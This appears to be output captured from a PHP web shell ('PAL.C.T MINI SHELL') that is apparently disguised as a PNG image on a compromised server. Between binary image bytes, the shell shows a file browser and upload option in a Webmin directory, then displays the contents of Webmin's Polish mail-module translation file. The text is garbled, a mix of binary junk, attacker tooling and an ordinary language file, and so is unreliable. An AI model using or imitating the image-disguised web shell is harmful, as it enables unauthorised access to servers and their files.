php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/pl.auto

index_none=Nie możesz czytać wiadomości e-mail dla użytkowników w tym systemie.
index_empty=Brak poczty
index_return=Lista użytkowników
index_esystem=Żaden z obsługiwanych serwerów pocztowych (Exim, Qmail, Postfix i Sendmail) nie został wykryty w twoim systemie. Konieczne będzie dostosowanie <a href='$1'>konfiguracji modułu</a>, aby ręcznie ustawić serwer poczty i ewentualnie ścieżki poczty.
index_esystem2=Serwer poczty ustawiony w <a href='$1'>konfiguracji modułu</a> nie został znaleziony w twoim systemie. Będziesz musiał dostosować konfigurację, aby używać poprawnego serwera.
index_esystem3=Wystąpił błąd podczas łączenia się z systemem poczty ustawionym w konfiguracji modułu <a href='$1'></a>: $2.
index_toomany=W systemie jest zbyt wielu użytkowników, aby wyświetlić je na jednej stronie.
index_find=Znajdź użytkowników, gdzie nazwa użytkownika
index_equals=równa się
index_contains=zawiera
index_eperl=Moduł Perla $1 wymagany dla wybranego trybu uwierzytelniania SMTP nie jest zainstalowany lub brakuje modułu zależnego. <a href='$2'>Kliknij tutaj</a>, aby zainstalować teraz.
index_nousers=Nie znaleziono użytkowników!
index_nousersmail=Nie znaleziono użytkowników z e-mailem.

mail_level=Wynik
mail_nosort=Zresetuj sortowanie.
mail_eexists=Wiadomość już nie istnieje!
mail_black=Odmów nadawcom
mail_white=Zezwalaj nadawcom
mail_whitemove=Zezwalaj nadawcom i skrzynce odbiorczej
mail_efile=Plik poczty nie istnieje
mail_fromsrch=Znajdź e-maila z tym samym nadawcą
mail_subsrch=Znajdź e-maila z tym samym tematem
mail_tosrch=Znajdź adres e-mail z odbiorcą
mail_fromfilter=Utwórz filtr według nadawcy
mail_tofilter=Utwórz filtr według odbiorcy
mail_subfilter=Utwórz filtr według tematu

mail_sign=Podpisać za pomocą klucza
mail_nosign=&lt;Nie podpisuj&gt;
mail_crypt=Szyfruj dla
mail_nocrypt=&lt;Nie szyfruj&gt;
mail_samecrypt=&lt;Klucze z adresów docelowych&gt;
mail_err=Wystąpił błąd podczas wyświetlania poczty w tym folderze : $1
mail_logindesc=Musisz podać nazwę użytkownika i hasło, aby uzyskać dostęp do poczty <br> w skrzynce odbiorczej na serwerze pocztowym $1.
mail_sig=Edytuj podpis
mail_search3=Znajdź z wynikiem powyżej:
mail_esystem=Wystąpił błąd podczas łączenia się z systemem pocztowym: $1. Musi to naprawić administrator systemu.
mail_specialsync=Synchronizacja specjalna

view_aview=Widok
view_sub=Dołączony e-mail
view_sub2=Załączony e-mail od $1
view_egone=Ta wiadomość już nie istnieje
view_eugone=Ten użytkownik nie istnieje

view_gnupg=Weryfikacja podpisu GnuPG
view_gnupg_0=Podpis przez $1 jest ważny.
view_gnupg_1=Podpis przez $1 jest prawidłowy, ale nie można ustanowić łańcucha zaufania.
view_gnupg_2=Podpis od $1 jest <b>NIE</b> ważny.
view_gnupg_3=Identyfikatora klucza $1 nie ma na liście, więc nie można zweryfikować podpisu.
view_gnupg_4=Nie udało się zweryfikować podpisu : $1
view_crypt=Deszyfrowanie poczty GnuPG
view_crypt_1=Wiadomość jest szyfrowana, ale obsługa GnuPG nie jest zainstalowana.
view_crypt_2=Nie udało się odszyfrować wiadomości : $1
view_crypt_3=Poczta została pomyślnie odszyfrowana.
view_crypt_4=Zaszyfrowana część wiadomości została pomyślnie odszyfrowana.
view_recv=<a href='$2'>Pobierz identyfikator klucza $1 z serwera kluczy</a>.
view_folder=Wróć do skrzynki pocztowej
view_dheader=Odłącz załącznik do serwera
view_detach=Odłącz plik:
view_dall=&lt;Wszystkie pliki&gt;
view_dir=do pliku lub katalogu serwera:
view_black=Odmów nadawcy
view_white=Zezwól nadawcy
view_whitemove=Zezwalaj na nadawcę i skrzynkę odbiorczą
view_razor=Zgłoś spam
view_ham=Zgłoś Szynkę
view_hammove=Zgłoś szynkę i skrzynkę odbiorczą
view_razordel=Usuń spam
view_dstatus=Status dostawy nieudanej
view_dstatusok=Status dostawy pomyślny
view_final-recipient=Ostateczny odbiorca
view_diagnostic-code=Powód niepowodzenia
view_remote-mta=Zdalny serwer pocztowy
view_reporting-mta=Serwer poczty raportowania
view_images=Pokaż zdjęcia
view_raw=Wyświetl nieprzetworzoną wiadomość

enew_title=Edytuj adres e-mail
reply_mailforward=Przekazywane wiadomości
reply_attach3=Przesłane załączniki
reply_body=Wiadomość tekstowa
reply_errc=Nie udało się skopiować wiadomości
reply_errm=Nie udało się przenieść poczty
reply_return=komponować pocztę
reply_efwdnone=Żadna z przesłanych wiadomości nie istnieje
reply_dsn=Zażądać powiadomienia o statusie odczytu?
reply_del=Zażądać powiadomienia o stanie dostawy?
reply_aboot=Dodać odbiorców do książki adresowej?
reply_tabfrom=Od
reply_tabto=Do
reply_tabreplyto=Odpowiedzieć do
reply_tabcc=DW
reply_tabbcc=UDW
reply_tabsigning=Podpisywanie
reply_taboptions=Opcje
reply_addattach=Dodaj pole załącznika.
reply_addssattach=Dodaj pole załącznika po stronie serwera.
reply_html0=Utwórz tekst
reply_html1=Utwórz HTML

reply_spell=Sprawdź błędy ortograficzne?
reply_draft=Zapisz jako szkic
reply_save=Zapisz i edytuj

send_esubject=Brakujący temat wiadomości e-mail
send_title2=Mail Saved
send_sending=Wysyłanie poczty do $1 ..
send_epath=Plik wykonywalny Sendmail $1 nie istnieje.
send_efile=Nie można odczytać załącznika $1 : $2 
send_done=.. gotowy.

send_epass=Nie możesz podpisać wiadomości, ponieważ twoje hasło nie zostało jeszcze skonfigurowane w module GnuPG.
send_esign=Nie udało się podpisać wiadomości : $1
send_ekey=Nie można znaleźć klucza do adresu e-mail $1
send_ecrypt=Nie udało się zaszyfrować wiadomości : $1
send_eword=Błędne słowo $1
send_eword2=Błędnie napisane słowo $1 - możliwe poprawki $2
send_eline=W linii $1 :
send_espell=W Twojej wiadomości znaleziono następujące błędy ortograficzne. ..
send_draft=Wyślij do $1 zapisanego w folderze Robocze.
send_drafting=Zapisywanie wiadomości do $1 w folderze Robocze.
send_eattachsize=Załącznik wiadomości przekroczył maksymalny dozwolony rozmiar $1 bajtów

delete_title=Usuń pocztę
delete_rusure=Czy na pewno chcesz usunąć wybrane wiadomości $1 z $2? W przypadku dużego pliku poczty może to zająć trochę czasu. Do czasu zakończenia usuwania nie należy wykonywać żadnych innych czynności.
delete_rusure2=Czy na pewno chcesz usunąć tę wiadomość z $1? W przypadku dużego pliku poczty może to zająć trochę czasu. Do czasu zakończenia usuwania nie należy wykonywać żadnych innych czynności.
delete_ok=Usuń teraz
delete_efnone=Nie wybrano poczty do przekazania
delete_ebnone=Nie wybrano żadnej poczty do odrzucenia
delete_ewnone=Nie wybrano poczty do zezwolenia
delete_ernone=Nie wybrano poczty zgłaszanej jako spam
delete_ehnone=Nie wybrano żadnej poczty do zgłoszenia jako szynka
delete_emoveuser=Użytkownik do przeniesienia poczty nie istnieje
delete_ecopyuser=Użytkownik do skopiowania poczty nie istnieje
delete_emovecannot=Nie możesz przenosić poczty do określonego użytkownika
delete_ecopycannot=Nie możesz kopiować poczty do określonego użytkownika
delete_emovenone=Nie wybrano poczty do przeniesienia
delete_ecopynone=Nie wybrano poczty do skopiowania
delete_nobutton=Nie kliknięto żadnego przycisku
delete_ereport=Nie udało się zgłosić jako spam : $1
delete_errc=Nie udało się skopiować wiadomości
delete_errm=Nie udało się przenieść poczty

confirm_title=Potwierdź usunięcie
confirm_warn=Czy na pewno chcesz usunąć wybrane wiadomości $1 z tego folderu?
confirm_warnf=Czy na pewno chcesz usunąć wybrane wiadomości $1 z folderu <b>$2</b>?
confirm_warn2=Ze względu na rozmiar i format skrzynki pocztowej może to zająć trochę czasu. Do czasu zakończenia usuwania nie należy wykonywać żadnych innych czynności.
confirm_warn3=Czy na pewno chcesz usunąć tę wiadomość?
confirm_warn4=Do czasu zakończenia usuwania nie należy wykonywać żadnych innych czynności.
confirm_ok=Usuń teraz
confirm_warnall=Czy na pewno chcesz usunąć wszystkie wiadomości z tego folderu?
confirm_warnallf=Czy na pewno chcesz usunąć wszystkie wiadomości z folderu <b>$1</b>?

search_escore=Brakujący lub nieprawidłowy wynik spamu
search_efield=Musisz wybrać typ wyszukiwania.
search_ewhat=Brak tekstu do dopasowania dla wprowadzonego dla wiersza $1
search_enone=Nie wprowadzono kryteriów wyszukiwania
search_results2=$1 pasujące wiadomości e-mail $2
search_results3=$1 wiadomości e-mail niepasujące $2
search_results4=$1 wiadomości e-mail pasujące do wyszukiwania
search_results5=$1 wiadomości e-mail, w których $2 odpowiada $3
search_msg2=Wyniki wyszukiwania dla $1
search_msg4=Wyniki wyszukiwania
search_msg5=Wyniki wyszukiwania spamu z wynikiem $1
search_msg6=Wyniki wyszukiwania dla $1 w polu $2
search_local=W lokalnych folderach
search_all=We wszystkich folderach
search_limit=(od ostatnich $1 wiadomości)
search_status=Ze statusem
search_attach=Musisz mieć załączniki?
search_allstatus=Każdy
search_onestatus=Tylko status
search_latest=Wiadomości do wyszukiwania
search_nolatest=Wszystko w folderze
search_latestnum=Tylko najnowsze
search_elatest=Brakująca lub niepoprawna liczba wiadomości do przeszukania
search_withstatus=, ze statusem $1

folder_inbox=W pudełku
folder_sent=Wysłany mail
folder_drafts=Warcaby
folder_trash=Śmieci

detach_err=Nie można odłączyć pliku
detach_edir=Brak pliku lub katalogu do zapisania we wpisanym
detach_eopen=Nie udało się otworzyć $1 : $2 
detach_ewrite=Nie udało się napisać do $1 : $2 
detach_title=Odłącz plik
detach_ok=Napisano załącznik do pliku po stronie serwera $1 ($2).

sform_header=Zaawansowane opcje wyszukiwania wiadomości e-mail
sform_andmode=Tryb kryteriów
sform_and=Znajdź wiadomości spełniające wszystkie poniższe kryteria ..
sform_or=Znajdź wiadomości spełniające poniższe kryteria.
sform_neg0=zawiera
sform_neg1=nie zawiera
sform_folder2=Szukaj w folderach
sform_all=&lt;Wszystkie foldery&gt;
sform_local=&lt;Foldery lokalne&gt;
sform_text=tekst
sform_from=Od: nagłówek
sform_subject=Temat: nagłówek
sform_to=Do: nagłówek
sform_cc=DW: nagłówek
sform_bcc=UDW: nagłówek
sform_date=Data: nagłówek
sform_body=treść wiadomości
sform_headers=dowolny nagłówek
sform_allmsg=cała wiadomość

find_enone=Nie znaleziono użytkowników pasujących do wyszukiwania
find_title=Wyniki wyszukiwania
find_results=Użytkownicy pasujący do wyszukiwania $1 ..
find_user=Nazwa Użytkownika
find_real=Prawdziwe imię
find_group=Grupa
find_home=Katalog domowy
find_size=Rozmiar wiadomości
find_incount=E-maile
find_sentcount=Wysłano
find_fcount=Lornetka składana
find_in=$1 w $2

acl_unlimited=bez limitu
acl_candetach=Czy można odłączyć pliki na serwerze?
acl_usersm=Użytkownicy pasujący
acl_usersu=Z UID w zasięgu
acl_sec=Uwzględnić grupy drugorzędne?
acl_dir=Czyta pliki poczty w katalogu
acl_dirauto=Zdecyduj automatycznie (gdziekolwiek wszyscy użytkownicy są widoczni, nigdzie indziej)

emodified=Ten folder został zmodyfikowany od czasu jego ostatniego przeglądania! Wróć do <a href='$1'>listy mailowej</a> i spróbuj ponownie.

razor_title=Zgłaszanie jako spam
razor_title2=Zgłaszanie jako szynka
razor_report=Zgłaszanie tej wiadomości do Razor i innych baz danych blokujących spam SpamAssassin ..
razor_report2=Zgłaszanie wybranych wiadomości do Razor i innych baz danych blokujących spam SpamAssassin ..
razor_report3=Cofnięcie zgłoszenia wybranych wiadomości do Razor i innych baz danych blokujących spam SpamAssassin.
razor_done=.. gotowy
razor_err=.. nie powiodło się! Zobacz powyższy komunikat o błędzie, z jakiego powodu.
razor_moved=.. gotowe i przeniesiono do folderu $1.
razor_deleted=... zrobione, a także usunięte wiadomości.

ham_title=Zgłaszanie jako szynka
ham_report=Zgłaszanie tej wiadomości jako nie-spam do Razor i innych baz danych SpamAssassin ..

black_title=Odmawianie nadawcy
black_done=Dodano adres e-mail $1 do listy odmówionych adresów SpamAssassin.
black_already=Adres e-mail $1 znajduje się już na liście odmówionych adresów SpamAssassin.

white_title=Zezwalanie na nadawcę
white_done=Dodano adres e-mail $1 do listy dozwolonych adresów SpamAssassin.
white_already=Adres e-mail $1 znajduje się już na liście dozwolonych adresów SpamAssassin.

ldap_emod=Brakujący moduł Perla $1 potrzebny do połączenia z LDAP
ldap_econn=Nie udało się połączyć z serwerem LDAP $1 port $2
ldap_elogin=Nie udało się powiązać z serwerem LDAP $1 jako $2 : $3 
ldap_ehost=Brak serwera LDAP w konfiguracji modułu
ldap_eport=W konfiguracji modułu nie ustawiono prawidłowego portu serwera LDAP
ldap_euser=Brak konfiguracji logowania LDAP w konfiguracji modułu
ldap_ebase=Brak podstawowej nazwy wyróżniającej LDAP w konfiguracji modułu

delall_title=Usuń całą pocztę
delall_rusure=Czy na pewno chcesz usunąć cały e-mail z $1? $2 wiadomości o łącznej wartości $3 zostaną usunięte na zawsze.
delall_ok=Usuń teraz

slide_title=Załączone obrazy
slide_prev=Poprzedni
slide_next=Kolejny

left_mail=Poczta
left_search=Szukaj:
left_folders=Zarządzaj folderami
left_addresses=Książka adresowa
left_prefs=Preferencje poczty
left_forward=Prześlij dalej e-mail
left_autoreply=Automatyczna odpowiedź
left_filter=Filtry e-mail
left_pass=Zmień hasło
left_sig=Edytuj podpis
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`